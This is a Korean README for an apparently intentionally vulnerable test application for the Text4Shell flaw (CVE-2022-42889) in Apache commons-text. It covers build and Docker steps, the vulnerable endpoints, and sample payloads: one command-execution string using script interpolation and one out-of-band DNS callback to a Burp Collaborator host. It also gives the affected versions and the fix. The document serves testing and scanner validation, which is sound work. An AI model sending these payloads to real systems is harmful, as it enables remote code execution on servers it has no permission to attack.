
CVE-2022-42889 테스트를 위한 개념 증명 애플리케이션
이것은 취약점 CVE-2022-42889에 대한 개념 증명(Proof of Concept)으로 개발된 취약한 애플리케이션입니다.
이것을 실행하려면 다음이 필요합니다:
git clone https://github.com/securekomodo/text4shell-poc.git
cd text4shell-poc
mvn clean install
이렇게 하면 ./target 폴더가 생성되고, 해당 폴더 안에 JAR 파일 text4shell-poc-0.0.1-SNAPSHOT.jar이 있어야 합니다.
java -jar ./target/text4shell-poc-0.0.1-SNAPSHOT.jar
이렇게 하면 기본적으로 localhost의 8080 포트에서 수신 대기하는 웹 서버가 시작됩니다.
http://localhost:8080/에서 웹서버에 접근하면 다음 출력이 표시되어야 합니다.
Text4Shell POC Test -@securekomodo
Send payloads to /reflected?poc=yourpayload
OR Send payloads to /blind with payload as your userAgent
샘플 익스플로잇 페이로드
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/itworked')}
${dns:<burp collaborator host>)}
성공적인 익스플로잇 시연을 위한 권장 URL 인코더: https://www.urlencoder.org/.
또는 Docker를 사용하여 이 PoC를 실행할 수 있습니다:
git clone https://github.com/securekomodo/text4shell-poc.git
cd text4shell-poc
docker build --tag=text4shell-poc .
docker run -p 80:8080 text4shell-poc
http://localhost/
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
${dns:<burp collaborator host>)}
성공적인 익스플로잇 시연을 위한 권장 URL 인코더: https://www.urlencoder.org/.
또는 text4shell-scan과 같은 스캐닝 도구의 효율성을 검증할 수 있습니다.
코드가 취약하려면 다음 조건을 충족해야 합니다:
commons-text 버전 1.5.0 이상부터 1.10.0 미만까지 실행 중이어야 함수정 방법은 commons-text 인스턴스를 버전 1.10.0 이상으로 업데이트하는 것입니다.
Bryan Smith